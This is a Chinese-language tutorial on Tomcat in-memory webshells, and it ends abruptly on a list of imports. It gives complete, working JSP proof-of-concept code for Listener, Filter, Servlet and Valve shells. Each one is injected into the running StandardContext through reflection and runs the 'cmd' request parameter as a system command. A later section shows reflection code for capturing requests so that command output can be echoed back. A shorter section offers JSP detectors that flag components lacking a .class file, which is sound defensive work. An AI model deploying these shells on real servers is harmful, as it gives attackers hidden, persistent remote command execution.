Tomcat内存马

内存马初识

基础概念

内存与硬盘

在程序运行时,硬盘和内存扮演着不同的角色:

  1. 硬盘用于存储程序的可执行文件、库文件、配置文件和其他必要的数据文件。当程序首次运行或在需要时,这些文件从硬盘加载到内存中。
  2. 内存用于存储程序的指令和数据,包括代码、变量、对象、堆栈等。当程序需要执行特定的指令或访问特定的数据时,CPU从内存中读取这些内容进行处理。

因为内存的成本是很高的,所以内存的容量通常比硬盘小得多,但读取和写入速度更快.所以在运行程序将他放入内存,平时放在硬盘来节约内存空间.

安全问题-内存马

普通的木马是写入一个文件去访问,恶意代码是依靠于文件的.执行后就会在内存中被释放掉.但是内存马是依赖于程序本身的动态注册,会在内存中进行一个保存,视为程序的一部分.实现脱离文件后依旧可以运行.

Tomcat内存马

此文章默认你已经了解javaweb

对于Tomcat内存马,我们首先要知道Java会将JSP文件翻译成一个Servlet的文件的.同时你会发现JSP是热部署的.即可以不停止整个java服务来添加新的Jsp页面.这对与Java-web开发来说是极为方便的,但是方便就容易带来安全的问题.结合Servlet3支持动态注册,我们就可以构造各种Web组件内存马.

Listener内存马

ServletRequestListener

调用链

我们直接通过书写一个Listener,然后进行调试即可发现调用链为

requestInitialized:13, Shell_Listener (Listener)
fireRequestInitEvent:5992, StandardContext (org.apache.catalina.core)
invoke:121, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:687, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:357, CoyoteAdapter (org.apache.catalina.connector)
service:382, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:895, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1722, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

我们的代码逻辑是记录在requestInitialized方法中的,那么我们就寻找是怎么调用的requestInitialized方法
StandardContext

public boolean fireRequestInitEvent(ServletRequest request) {
        Object[] instances = this.getApplicationEventListeners();
        if (instances != null && instances.length > 0) {
            ServletRequestEvent event = new ServletRequestEvent(this.getServletContext(), request);
            Object[] var4 = instances;
            int var5 = instances.length;

            for(int var6 = 0; var6 < var5; ++var6) {
                Object instance = var4[var6];
                if (instance != null && instance instanceof ServletRequestListener) {
                    ServletRequestListener listener = (ServletRequestListener)instance;

                    try {
                        listener.requestInitialized(event);
                    } catch (Throwable var10) {
                        ExceptionUtils.handleThrowable(var10);
                        this.getLogger().error(sm.getString("standardContext.requestListener.requestInit", new Object[]{instance.getClass().getName()}), var10);
                        request.setAttribute("jakarta.servlet.error.exception", var10);
                        return false;
                    }
                }
            }
        }

        return true;
    }

我们可以看到是通过listener.requestInitialized这里进行的一个调用.而这个listener.是通过getApplicationEventListeners()获取的

public Object[] getApplicationEventListeners() {
        return this.applicationEventListenersList.toArray();
    }

那么关键就是这个applicationEventListenersList的内容了.

public void addApplicationEventListener(Object listener) {
        this.applicationEventListenersList.add(listener);
    }

并且StandardContext类中提供了这么一个方法给我们添加.那么StandardContext类我们如何获取勒,查看调用链子简单寻找了下,StandardHostValve类中存在对StandardContext的获取.

public final void invoke(Request request, Response response)
        throws IOException, ServletException {

        // Select the Context to be used for this Request
        Context context = request.getContext();

那么我们就要获取request类了,在JSP中是自带有RequestFacade类的.我们要获取的是Request类,所以我们直接通过反射来进行获取.

public RequestFacade(Request request) {
        this.request = request;
    }

其中的this.request被传入了Request类,也就是StandardHostValve类中的request.然后写入我们的Listener就可以了.

思路总结

Listener是会检测任何数据的变化的,对于ServletRequestListener对象,对于每一个会话连接都要进行一个检测.那么就一定存在一个全局的存储位置.然后通过反射对这个变量进行更改即可实现Listener的建立.这里即为StandardContext.applicationEventListenersList

POC

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
 
<%!
    public class Shell_Listener implements ServletRequestListener {
 
        public void requestInitialized(ServletRequestEvent sre) {
            HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
           String cmd = request.getParameter("cmd");
           if (cmd != null) {
               try {
                   Runtime.getRuntime().exec(cmd);
               } catch (IOException e) {
                   e.printStackTrace();
               } catch (NullPointerException n) {
                   n.printStackTrace();
               }
            }
        }
 
        public void requestDestroyed(ServletRequestEvent sre) {
        }
    }
%>
<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
 
    Shell_Listener shell_Listener = new Shell_Listener();
    context.addApplicationEventListener(shell_Listener);
%>

Filter类型的创建

调用链

doFilter:11, Shell_Filter (Filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
invoke:197, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:540, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:135, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:687, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:357, CoyoteAdapter (org.apache.catalina.connector)
service:382, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:895, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1722, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

internalDoFilter:189, ApplicationFilterChain

private void internalDoFilter(ServletRequest request,
                                  ServletResponse response)
        throws IOException, ServletException {

        // Call the next filter if there is one
        if (pos < n) {
            ApplicationFilterConfig filterConfig = filters[pos++];
            try {
                Filter filter = filterConfig.getFilter();

                if (request.isAsyncSupported() && "false".equalsIgnoreCase(
                        filterConfig.getFilterDef().getAsyncSupported())) {
                    request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE);
                }
                if( Globals.IS_SECURITY_ENABLED ) {
                    final ServletRequest req = request;
                    final ServletResponse res = response;
                    Principal principal =
                        ((HttpServletRequest) req).getUserPrincipal();

                    Object[] args = new Object[]{req, res, this};
                    SecurityUtil.doAsPrivilege ("doFilter", filter, classType, args, principal);
                } else {
                    filter.doFilter(request, response, this);
                }

这里可以看出我们的Filter是由filters属性来进行存储的.那么我们寻找一下是如何进行初始化的.

invoke:197, StandardWrapperValve 中使用了ApplicationFilterFactory.createFilterChain来新建一个ApplicationFilterChain类.

        ApplicationFilterChain filterChain =
                ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);

我们可以看到其中是通过读取StandardContext的属性来进行构建ApplicationFilterChain类的.

public static ApplicationFilterChain createFilterChain(ServletRequest request,
            Wrapper wrapper, Servlet servlet) {
 
        ...
        // Request dispatcher in use
        filterChain = new ApplicationFilterChain();
 
        filterChain.setServlet(servlet);
        filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
 
        // Acquire the filter mappings for this Context
        StandardContext context = (StandardContext) wrapper.getParent();
        FilterMap filterMaps[] = context.findFilterMaps();
 
        ...
 
        String servletName = wrapper.getName();
 
        // Add the relevant path-mapped filters to this filter chain
        for (FilterMap filterMap : filterMaps) {
            
            ...
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
                    context.findFilterConfig(filterMap.getFilterName());
            ...
 
            filterChain.addFilter(filterConfig);
        }
 
        ...
 
        // Return the completed filter chain
        return filterChain;
    }
public FilterConfig findFilterConfig(String name) {
        return filterConfigs.get(name);
    }

所以我们即对StandardContext的属性filterConfigs和filterMap进行设置即可.我们来查看是否有对应的属性设置的方法.

创建filterMap

   @Override
    public void addFilterMap(FilterMap filterMap) {
        validateFilterMap(filterMap);
        // Add this filter mapping to our registered set
        filterMaps.add(filterMap);
        fireContainerEvent("addFilterMap", filterMap);
    }
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);

创建filterConfigs

private Map<String, ApplicationFilterConfig> filterConfigs = new HashMap<>();

filterConfigs本质是个Map,看看它是如何被赋值

 synchronized (filterConfigs) {
            filterConfigs.clear();
            for (Entry<String,FilterDef> entry : filterDefs.entrySet()) {
                String name = entry.getKey();
                if (getLogger().isDebugEnabled()) {
                    getLogger().debug(" Starting filter '" + name + "'");
                }
                try {
                    ApplicationFilterConfig filterConfig =
                            new ApplicationFilterConfig(this, entry.getValue());
                    filterConfigs.put(name, filterConfig);

那么我们就要对filterDefs进行一个赋值.

filterDef

 @Override
    public void addFilterDef(FilterDef filterDef) {

        synchronized (filterDefs) {
            filterDefs.put(filterDef.getFilterName(), filterDef);
        }
        fireContainerEvent("addFilterDef", filterDef);

    }
//filter名称
String name = "CommonFilter";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);

然后再对filterConfigs进行一个赋值

Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
    
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name, filterConfig);

思路总结

  • 获取StandardContext对象
  • 设置StandardContext中的FilterMaps对象
  • 设置filterDefs对象,和然后组装进filterConfig,然后将filterConfig写入filterConfigs中

POC

<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.util.Map" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
 
 
<%
    ServletContext servletContext = request.getSession().getServletContext();
    Field appContextField = servletContext.getClass().getDeclaredField("context");
    appContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
%>
 
<%! public class Shell_Filter implements Filter {
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
            String cmd = request.getParameter("cmd");
            if (cmd != null) {
                try {
                    Runtime.getRuntime().exec(cmd);
                } catch (IOException e) {
                    e.printStackTrace();
                } catch (NullPointerException n) {
                    n.printStackTrace();
                }
            }
            chain.doFilter(request, response);
        }
    }
%>
 
<%
    Shell_Filter filter = new Shell_Filter();
    String name = "CommonFilter";
    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(filter);
    filterDef.setFilterName(name);
    filterDef.setFilterClass(filter.getClass().getName());
    standardContext.addFilterDef(filterDef);
 
 
    FilterMap filterMap = new FilterMap();
    filterMap.addURLPattern("/*");
    filterMap.setFilterName(name);
    filterMap.setDispatcher(DispatcherType.REQUEST.name());
    standardContext.addFilterMapBefore(filterMap);
 
 
    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);
 
    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
    filterConfigs.put(name, filterConfig);
%>

Servlet型

调用链

这个是较为简单的,应用一下大佬的调试链子

通过configureContext(webXml)方法创建StandWrapper对象,并根据解析参数初始化StandWrapper对象

Servlet的所有信息是存储在wrapper中的.

 private void configureContext(WebXml webxml) {
        // As far as possible, process in alphabetical order so it is easy to
        // check everything is present
        // Some validation depends on correct public ID
        context.setPublicId(webxml.getPublicId());
 
...   //设置StandardContext参数
 
        
        for (ServletDef servlet : webxml.getServlets().values()) {
 
            //创建StandardWrapper对象
            Wrapper wrapper = context.createWrapper();
 
            if (servlet.getLoadOnStartup() != null) {
 
                //设置LoadOnStartup属性
                wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
            }
            if (servlet.getEnabled() != null) {
                wrapper.setEnabled(servlet.getEnabled().booleanValue());
            }
 
            //设置ServletName属性
            wrapper.setName(servlet.getServletName());
            Map<String,String> params = servlet.getParameterMap();
            for (Entry<String, String> entry : params.entrySet()) {
                wrapper.addInitParameter(entry.getKey(), entry.getValue());
            }
            wrapper.setRunAs(servlet.getRunAs());
            Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
            for (SecurityRoleRef roleRef : roleRefs) {
                wrapper.addSecurityReference(
                        roleRef.getName(), roleRef.getLink());
            }
 
            //设置ServletClass属性
            wrapper.setServletClass(servlet.getServletClass());
            ...
            wrapper.setOverridable(servlet.isOverridable());
 
            //将包装好的StandWrapper添加进ContainerBase的children属性中
            context.addChild(wrapper);
 
           for (Entry<String, String> entry :
                webxml.getServletMappings().entrySet()) {
          
            //添加路径映射
            context.addServletMappingDecoded(entry.getKey(), entry.getValue());
        }
        }
        ...
    }

思路总结

所以综上我们的思路就是

  • 老套路获取StandardContext对象.
  • 然后通过StandardContext.createWrapper()创建StandardWrapper对象.
  • 设置StandardWrapper对应的属性,并将StandardWrapper对象添加进StandardContext对象.
  • 通过StandardContext.addServletMappingDecoded()添加对应的路径映射

POC

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
 
<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext standardContext = (StandardContext) req.getContext();
%>
 
<%!
 
    public class Shell_Servlet implements Servlet {
        @Override
        public void init(ServletConfig config) throws ServletException {
        }
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
        @Override
        public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
            String cmd = req.getParameter("cmd");
            if (cmd !=null){
                try{
                    Runtime.getRuntime().exec(cmd);
                }catch (IOException e){
                    e.printStackTrace();
                }catch (NullPointerException n){
                    n.printStackTrace();
                }
            }
        }
        @Override
        public String getServletInfo() {
            return null;
        }
        @Override
        public void destroy() {
        }
    }
 
%>
 
<%
    Shell_Servlet shell_servlet = new Shell_Servlet();
    String name = shell_servlet.getClass().getSimpleName();
 
    Wrapper wrapper = standardContext.createWrapper();
    wrapper.setLoadOnStartup(1);
    wrapper.setName(name);
    wrapper.setServlet(shell_servlet);
    wrapper.setServletClass(shell_servlet.getClass().getName());
%>
 
<%
    standardContext.addChild(wrapper);
    standardContext.addServletMappingDecoded("/shell",name);
%>

Valve

个人感觉这个是分析起来最简单的.

管道机制主要涉及到两个名词,Pipeline(管道)和Valve(阀门)。如果我们把请求比作管道(Pipeline)中流动的水,那么阀门(Valve)就可以用来在管道中实现各种功能,如控制流速等。因此通过管道机制,我们能按照需求,给在不同子容器中流通的请求添加各种不同的业务逻辑(即其中的invoke方法).

即通过一个Pipeline类来维护一个通道,具体的逻辑是由Valve类来进行维护的.

public interface Pipeline extends Contained {
 
    public Valve getBasic();
 
    public void setBasic(Valve valve);
 
    public void addValve(Valve valve);
 
    public Valve[] getValves();
 
    public void removeValve(Valve valve);
 
    public void findNonAsyncValves(Set<String> result);
}
public interface Valve {
 
    public Valve getNext();
 
    public void setNext(Valve valve);
 
    public void backgroundProcess();
 
    public void invoke(Request request, Response response)
        throws IOException, ServletException;
 
    public boolean isAsyncSupported();
}

其中的invoke方法即为我们的逻辑书写点.

调用链

直接使用Filter的调试

doFilter:11, Shell_Filter (Filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
invoke:197, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:540, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:135, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:687, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:357, CoyoteAdapter (org.apache.catalina.connector)
service:382, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:895, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1722, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

在invoke:97, StandardContextValve (org.apache.catalina.core)中调用了管道中的Valve的invoke方法

 if (request.isAsyncSupported()) {
            request.setAsyncSupported(wrapper.getPipeline().isAsyncSupported());
  }
wrapper.getPipeline().getFirst().invoke(request, response);

思路总结

我们的思路即创建一个Value加入到管道StandardPipeline类中即可.

  1. 获取StandardContext对象
  2. 通过StandardContext对象获取StandardPipeline
  3. 编写恶意Valve
  4. 通过StandardPipeline.addValve()动态添加Valve

POC

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.Pipeline" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
 
<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext standardContext = (StandardContext) req.getContext();
 
    Pipeline pipeline = standardContext.getPipeline();
%>
 
<%!
    class Shell_Valve extends ValveBase {
        @Override
        public void invoke(Request request, Response response) throws IOException, ServletException {
            String cmd = request.getParameter("cmd");
            if (cmd !=null){
                try{
                    Runtime.getRuntime().exec(cmd);
                }catch (IOException e){
                    e.printStackTrace();
                }catch (NullPointerException n){
                    n.printStackTrace();
                }
            }
        }
    }
%>
 
<%
    Shell_Valve shell_valve = new Shell_Valve();
    pipeline.addValve(shell_valve);
%>

内存马的检测

有攻击就有防,根据上文内存马的构造我们就可以写出相应的检测软件.

Listener内存马

我们知道我们是对StandardContext.applicationEventListenersList属性进行更改来注册Listener内存马.那么我们就可以直接对applicationEventListenersList属性进行一个读取即可.

  Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
    for (Object item : context.getApplicationEventListeners()) {
       out.println(item.toString()+"<br>");

那么如何从这些类中去读取那些是内存马勒,我们可以直接去读取它的一个.class文件.查询是否存在对于文件,如果不存在就可以初步判断他是一个内存马了.

Class<?> clazz = item.getClass();
        URL url = clazz.getResource(clazz.getSimpleName() + ".class");
        if (url != null) {
            String filePath = url.getFile();
            if (filePath != null) {
                out.println("文件位置: " + filePath +"<br>");

            } else {
                out.println("无法获取文件位置,可能为内存马。<br>");
            }
        } else {
            out.println("无法获取URL,可能为内存马。<br>");
        }
    }

代码

<%@ page contentType="text/html; charset=UTF-8" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.net.URL" %>
<html>
<head>
    <title>内存马检测</title>
</head>
<body>
<p>
<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
    for (Object item : context.getApplicationEventListeners()) {
       out.println(item.toString()+"<br>");
        Class<?> clazz = item.getClass();
        URL url = clazz.getResource(clazz.getSimpleName() + ".class");
        if (url != null) {
            String filePath = url.getFile();
            if (filePath != null) {
                out.println("文件位置: " + filePath +"<br>");

            } else {
                out.println("无法获取文件位置,可能为内存马。<br>");
            }
        } else {
            out.println("无法获取URL,可能为内存马。<br>");
        }
    }
  out.println("-------------------------<br>");
%>
</p>
</body>
</html>

Filter内存马

前文我们是自己对filterConfigs的一个注册,我们对于他的一个检测就简单多了,只用考虑读取就是了.一样的套路使用反射对StandardContext类的属性进行一个读取.

 Field reqF = request.getClass().getDeclaredField("request");
        reqF.setAccessible(true);
        Request req = (Request) reqF.get(request);
        StandardContext context = (StandardContext) req.getContext();

        Field Configs = context.getClass().getDeclaredField("filterConfigs");
        Configs.setAccessible(true);
        Map filterConfigs = (Map) Configs.get(context);

然后核实这些类是否存在对于的class文件.

<%@ page contentType="text/html; charset=UTF-8" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<html>
<head>
    <title>内存马检测</title>
</head>
<body>
<p>
    <%
        Field reqF = request.getClass().getDeclaredField("request");
        reqF.setAccessible(true);
        Request req = (Request) reqF.get(request);
        StandardContext context = (StandardContext) req.getContext();
        
        Field Configs = context.getClass().getDeclaredField("filterConfigs");
        Configs.setAccessible(true);
        Map filterConfigs = (Map) Configs.get(context);
      //  Object applicationFilterConfig=filterConfigs.get("CommonFilter");

        for (  Object applicationFilterConfig : filterConfigs.values()) {
            Field applicationFilterConfigs = applicationFilterConfig.getClass().getDeclaredField("filterDef");
            applicationFilterConfigs.setAccessible(true);
            FilterDef filterClass= (FilterDef)applicationFilterConfigs.get(applicationFilterConfig);

            out.println(filterClass.getFilterClass());
            out.println(filterClass.getClass().getSimpleName());

            Class<?> clazz = filterClass.getFilter().getClass();
            URL url = clazz.getResource(clazz.getSimpleName() + ".class");
            if (url != null) {
                String filePath = url.getFile();
                if (filePath != null) {
                    out.println("文件位置: " + filePath +"<br>");
                } else {
                    out.println("无法获取文件位置,可能为内存马。<br>");
                }
            } else {
                out.println("无法获取URL,可能为内存马。<br>");
            }
        }
    %>
</p>
</body>
</html>

Servlet内存马

Servlet是通过standardContext.addChild来对一个Wrapper进行添加的.那么我们直接去看看是否有其他的方法可以进行获取

   @Override
    public Container[] findChildren() {
        synchronized (children) {
            Container results[] = new Container[children.size()];
            return children.values().toArray(results);
        }
    }

同时查找一下Wrapper对servlet的获取方式.通过getServletClass()对servlet的类名进行一个获取.

    /**
     * @return the fully qualified servlet class name for this servlet.
     */
    public String getServletClass();

后面就是一个相同的思路了.查找对应的类名是否存在对应的类文件.

for (Container container :containers){
            Wrapper wrapper=(Wrapper) container;
            out.print(wrapper.getServletClass()+"<br>");

            Class<?> clazz = Class.forName(wrapper.getServletClass());
            URL url = clazz.getResource(clazz.getSimpleName() + ".class");
            if (url != null) {
                String filePath = url.getFile();
                if (filePath != null) {
                    out.println("文件位置: " + filePath +"<br>");
                } else {
                    out.println("无法获取文件位置,可能为内存马。<br>");
                }
            } else {
                out.println("无法获取URL,可能为内存马。<br>");
            }
        }
<%@ page contentType="text/html; charset=UTF-8" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="org.apache.catalina.Container" %>
<html>
<head>
  <title>内存马检测</title>
</head>
<body>
<p>
  <%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();

    Container[] containers=context.findChildren();


    for (Container container :containers){
      Wrapper wrapper=(Wrapper) container;
      out.print(wrapper.getServletClass()+"<br>");

      Class<?> clazz = Class.forName(wrapper.getServletClass());
      URL url = clazz.getResource(clazz.getSimpleName() + ".class");
      if (url != null) {
        String filePath = url.getFile();
        if (filePath != null) {
          out.println("文件位置: " + filePath +"<br>");
        } else {
          out.println("无法获取文件位置,可能为内存马。<br>");
        }
      } else {
        out.println("无法获取URL,可能为内存马。<br>");
      }
    }
  %>
</p>
</body>
</html>

Value内存马

StandardPipeline类直接提供了对应的getValves方法,那么就很简单了

 @Override
    public Valve[] getValves() {

        List<Valve> valveList = new ArrayList<>();
        Valve current = first;
        if (current == null) {
            current = basic;
        }
        while (current != null) {
            valveList.add(current);
            current = current.getNext();
        }

        return valveList.toArray(new Valve[0]);

    }

一样的思路去获取类后查找是否存在对应的class文件即可.

Field reqF = request.getClass().getDeclaredField("request");
        reqF.setAccessible(true);
        Request req = (Request) reqF.get(request);
        StandardContext context = (StandardContext) req.getContext();

        Pipeline pipeline = context.getPipeline();
        Valve[] valves =pipeline.getValves();
        for(Valve valve:valves){
            out.print(valve.toString()+"<br>");
            Class<?> clazz = valve.getClass();
            URL url = clazz.getResource(clazz.getSimpleName() + ".class");
            if (url != null) {
                String filePath = url.getFile();
                if (filePath != null) {
                    out.println("文件位置: " + filePath +"<br>");
                } else {
                    out.println("无法获取文件位置,可能为内存马。<br>");
                }
            } else {
                out.println("无法获取URL,可能为内存马。<br>");
            }
        }

回显

request获取

ThreadLocal 类使用

在我们熟悉的ApplicationFilterChain#internalDoFilter中,Tomcat会将request对象和response对象存储到这两个变量中
image.png
但是我们通过断点调试发现它是
image.png
那么我们就要使用反射来直接更改,让tomcat放入其中

import org.apache.catalina.core.ApplicationFilterChain;
 
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
 
@WebServlet("/echo")
public class Tomcat_Echo extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
 
        try {
 
            //反射获取所需属性
            Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
            Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
            Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
 
            //使用modifiersField反射修改final型变量
            java.lang.reflect.Field modifiersField = Field.class.getDeclaredField("modifiers");
            modifiersField.setAccessible(true);
            modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
            modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
            modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
            WRAP_SAME_OBJECT_FIELD.setAccessible(true);
            lastServicedRequestField.setAccessible(true);
            lastServicedResponseField.setAccessible(true);
 
            //将变量WRAP_SAME_OBJECT_FIELD设置为true,并初始化lastServicedRequest和lastServicedResponse变量
            if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null)){
                WRAP_SAME_OBJECT_FIELD.setBoolean(null,true);
            }
 
            if (lastServicedRequestField.get(null)==null){
                lastServicedRequestField.set(null, new ThreadLocal<>());
            }
 
            if (lastServicedResponseField.get(null)==null){
                lastServicedResponseField.set(null, new ThreadLocal<>());
            }
 
            //获取request变量
            if(lastServicedRequestField.get(null)!=null){
                ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null);
                ServletRequest servletRequest = (ServletRequest) threadLocal.get();
                System.out.println(servletRequest);
                System.out.println((HttpServletRequest) servletRequest == req);
            }
 
        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }
    }
}

这样我们第2次访问就会成功访问对应的HttpServletRequest
image.png

<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.util.Map" %>
